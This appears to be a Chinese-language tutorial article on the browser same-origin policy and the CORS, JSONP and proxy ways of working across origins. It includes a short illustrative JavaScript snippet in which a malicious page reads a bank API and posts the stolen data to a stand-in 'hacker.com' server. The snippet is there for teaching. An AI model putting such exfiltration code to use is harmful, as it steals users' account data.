🏠 首页 › 攻略 › 同源策略是什么?浏览器的安全边界

同源策略是什么?浏览器的安全边界

同源策略是浏览器安全的核心机制,阻止一个网站的脚本访问另一个网站的数据。本文用通俗类比讲清同源策略原理、绕过方式和实际场景。

你有没有遇到过这种报错?

你在本地开发一个前端页面,想调用公司API服务器的接口。

代码写得漂漂亮亮,一跑起来,浏览器直接抛出一个红色错误:

“Access-Control-Allow-Origin” 跨域报错。

你一脸懵:明明前后端代码都没问题,为什么浏览器就是不让我调接口?

这时候,你需要知道一个概念:同源策略。


同源策略是什么?

同源策略(Same-Origin Policy,简称SOP)是浏览器最基础的安全机制。

它的核心规则很简单:只有同源的资源,才能互相访问。

那什么叫"同源"?

同一个源,意味着三个条件必须同时满足:

  • 协议相同:都是 https://,或者都是 http://
  • 域名相同:都是 www.example.com
  • 端口相同:都是 80 端口

三个条件,一个都不能少。

举个例子:

  • https://www.example.com/api ✅ 同源
  • https://www.example.com:8080/api ❌ 端口不同,不同源
  • http://www.example.com/api ❌ 协议不同,不同源
  • https://api.example.com/api ❌ 域名不同,不同源
  • https://other-site.com/api ❌ 完全另一个网站,不同源

你可以把同源策略想象成小区的门禁系统。

你和你的邻居住在同一个小区(同源),可以自由串门。但如果你想进入隔壁小区(不同源),门卫会拦住你——除非隔壁小区给你发了通行证。

这就是浏览器保护用户安全的方式:不让一个网站的脚本,随意读取另一个网站的数据。


为什么需要同源策略?

没有同源策略,互联网会变成什么样?

想象一下这个场景:

你在银行网站登录了账户,准备查余额。

同时,你在另一个标签页打开了一个恶意网站。这个网站里有一段JavaScript代码:

// 恶意网站偷偷访问你的银行
fetch('https://bank.example.com/api/balance')
  .then(res => res.json())
  .then(data => {
    // 把你的余额发到黑客服务器
    fetch('https://hacker.com/steal', {
      method: 'POST',
      body: JSON.stringify(data)
    });
  });

如果没有同源策略,这段代码会成功执行。黑客可以直接读取你在银行网站的账户信息。

但有了同源策略,浏览器会直接拦截这个请求。恶意网站尝试读取银行数据时,浏览器会说:

“你俩不同源,访问被拒绝。”

这就是同源策略存在的意义:防止恶意网站窃取你在其他网站上的敏感数据。


同源策略管什么?

同源策略主要限制以下三种行为:

1. Cookie 和 LocalStorage 访问

A网站不能读取B网站的Cookie。这意味着你在淘宝登录了,京东不能读取你的淘宝登录状态。

2. AJAX 请求

A网站不能向B网站的API发送请求。这就是前面提到的跨域报错的来源。

3. DOM 访问

A网站的iframe嵌入B网站页面,A网站不能操作B网站页面的DOM元素。


跨域了怎么办?

既然同源策略限制这么多,那不同源的网站之间怎么通信?

有三种常见方案:

方案一:CORS——最主流的跨域方式

CORS(Cross-Origin Resource Sharing,跨域资源共享)是浏览器提供的标准跨域方案。

后端在响应头里加一行:

Access-Control-Allow-Origin: https://your-frontend.com

这就相当于隔壁小区给你发了通行证。浏览器看到这行头,就允许你的前端访问接口了。

注意: 这个值可以是具体域名,也可以是 *(允许所有来源)。但如果是 *,浏览器会禁止携带Cookie,所以生产环境建议写具体域名。

方案二:JSONP——老派的跨域方案

JSONP利用<script>标签不受同源策略限制的特性,实现跨域数据获取。

前端在页面里动态插入一个script标签:

<script src="https://api.example.com/data?callback=handleData"></script>

后端返回的不是纯JSON,而是JavaScript代码:

handleData({"name": "张三", "age": 25});

浏览器执行这段代码,数据就传回来了。

缺点: 只支持GET请求,安全性不如CORS,现在用得越来越少。

方案三:代理——最简单粗暴

前端不直接请求API,而是请求自己的服务器,让服务器去转发。

浏览器 → 前端服务器 → API服务器
         (同源)    (不同源)

前端和前端服务器同源,不存在跨域问题。前端服务器作为代理转发请求到API服务器,然后返回结果给浏览器。

很多开发环境都会用这种方式,比如Vite、Webpack的devServer配置。


同源策略的例外情况

有些资源不受同源策略限制,可以直接跨域访问:

  • <img> 标签:加载图片不受限制,这也是为什么很多网站能用<img>标签防盗链
  • <script> 标签:加载外部JS文件不受限制(但执行后的数据访问受限)
  • <link> 标签:加载CSS文件不受限制
  • <frame> / <iframe> 标签:嵌入页面不受限制(但JS访问受限)

总结一下

同源策略是浏览器安全的基石,它的基本原则是:不同源的资源不能互相访问。

  • 同源的判断标准:协议 + 域名 + 端口,三者必须完全一致
  • 限制的范围:Cookie、AJAX请求、DOM访问
  • 跨域的解决方案:CORS(推荐)、JSONP(过时)、代理(开发常用)

理解了同源策略,你就能看懂那些跨域报错,也知道怎么让前后端正常通信了。

下次再遇到"Access-Control-Allow-Origin"的错误,你不会慌了——你知道,这是浏览器在保护你。